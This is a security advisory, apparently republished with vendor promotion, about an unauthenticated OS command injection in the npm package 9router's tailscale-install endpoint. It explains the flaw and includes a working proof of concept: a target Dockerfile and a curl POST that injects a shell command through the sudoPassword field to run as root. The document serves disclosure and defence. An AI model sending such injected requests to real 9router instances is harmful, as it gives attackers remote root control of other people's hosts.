GHSA-g6g7-pvmx-m74p
GHSA-g6g7-pvmx-m74p is a OS Command Injection vulnerability in 9router. O3 Security confirms whether GHSA-g6g7-pvmx-m74p is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
9router: Missing Authorization and OS Command Injection
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-g6g7-pvmx-m74p.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
9routernpmDescription
Unauthenticated RCE via /api/tunnel/tailscale-install
Affected: 9router (npm package) — current master (v0.4.39).
Summary
POST /api/tunnel/tailscale-install accepts a JSON body with a sudoPassword field and pipes it, followed by the body of https://tailscale.com/install.sh, into a child process spawned as sudo -S sh. The route is not present in the dashboard middleware matcher in src/proxy.js, so the request reaches the handler without invoking dashboardGuard.proxy(). In deployments where the Node process runs as root (Docker images derived from node:* without a USER directive, npm i -g 9router invoked as root, or systemd units without User=), the spawned sh runs as root and executes the attacker-supplied bytes.
Details
1. Middleware matcher (src/proxy.js:3-15)
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
"/api/cli-tools/:path*",
"/api/mcp/:path*",
],
};
Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire /api/tunnel/* family — do not invoke dashboardGuard.proxy(). No cookie, JWT, CLI token, or Host-header check is applied to them.
2. Route handler (src/app/api/tunnel/tailscale-install/route.js:18-67)
export async function POST(request) {
const body = await request.json().catch(() => ({}));
...
const sudoPassword =
body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || "";
...
const result = await installTailscale(sudoPassword, shortId, (msg) => {
send("progress", { message: msg });
});
...
}
body.sudoPassword comes from the request body and is passed to installTailscale, which dispatches to installTailscaleLinux on Linux.
3. Linux installation routine (src/lib/tunnel/tailscale.js:304-341)
async function installTailscaleLinux(sudoPassword, log) {
log("Downloading install script...");
return new Promise((resolve, reject) => {
const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... });
let scriptContent = "";
curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); });
curlChild.on("exit", (code) => {
if (code !== 0) return reject(...);
log("Running install script...");
const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true });
...
child.stdin.write(`${sudoPassword}\n`); // ← from request body
child.stdin.write(scriptContent);
child.stdin.end();
});
});
}
The byte stream sent to the stdin of the sudo -S sh child process is:
<sudoPassword from request body>\n
<https://tailscale.com/install.sh body>
When the caller is already root, has NOPASSWD configured for the user, or has a recent sudo timestamp cache, sudo -S sh does not read stdin for a password — it execs sh directly. The new sh process inherits the stdin pipe and reads it line by line:
- The
sudoPasswordvalue from the request — interpreted as the first shell command. - The
install.shbody — interpreted as subsequent shell input.
Appending ; exit 0 to the sudoPassword value causes sh to exit before the legitimate install.sh body runs. The host executes only the request-supplied bytes, as the 9router process user.
Both "Docker container running as root" and "npm i -g 9router on a host with NOPASSWD sudo" reach this path.
PoC
The reproduction below is self-contained: build a representative target image (Node process running as root, with sudo and curl on PATH), start it, send one unauthenticated POST with curl, and read the file written by the payload.
Step 1 — build the target image
docker build -t 9router-vuln-root - <<'EOF'
FROM node:22-bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
sudo curl ca-certificates \
&& rm -rf /var/lib/apt/lists/*
RUN npm install -g [email protected]
EXPOSE 20128
CMD ["9router"]
EOF
Step 2 — start the target
docker run -d --rm --name target -p 127.0.0.1:20129:20128 \
9router-vuln-root 9router --log --skip-update
until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done
Step 3 — exploit (one unauthenticated POST)
curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \
-H 'Content-Type: application/json' \
-d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}'
Step 4 — verify
docker exec target cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)
The trailing "Tailscale not installed" line is a consequence of ; exit 0 terminating sh before the legitimate install.sh body executed; the id > /tmp/pwned.txt write completed earlier in the same sh invocation. The POST carried no credentials, cookies, or prior state.
Impact
Type: Improper Access Control + OS Command Injection (CWE-862 + CWE-78).
Affected operators: 9router operators on Linux/macOS whose deployment matches one of the following configurations:
| Configuration | Example | Outcome |
|---|---|---|
| Node process runs as root | Custom Dockerfile without USER, systemd unit without User=, sudo npm i -g 9router && sudo 9router | Unauthenticated remote root RCE (primary case in this report) |
Node process runs as a normal user with NOPASSWD sudo | Developer laptop, CI runner, or single-tenant VPS where the operator's user has NOPASSWD: ALL | Unauthenticated remote RCE as the operator's user; root reachable via sudo from the foothold |
Node process runs as a normal user without NOPASSWD and no stored password | Hardened multi-user host | The spawn runs but sudo rejects the supplied value. No RCE; the request still triggers an outbound fetch from tailscale.com and the SSE error stream reveals platform information |
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | 9router | all versions | 0.4.44 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for 9router. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update 9router to 0.4.44 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g6g7-pvmx-m74p is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-g6g7-pvmx-m74p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-g6g7-pvmx-m74p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-g6g7-pvmx-m74p in your dependencies?
O3 detects GHSA-g6g7-pvmx-m74p across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.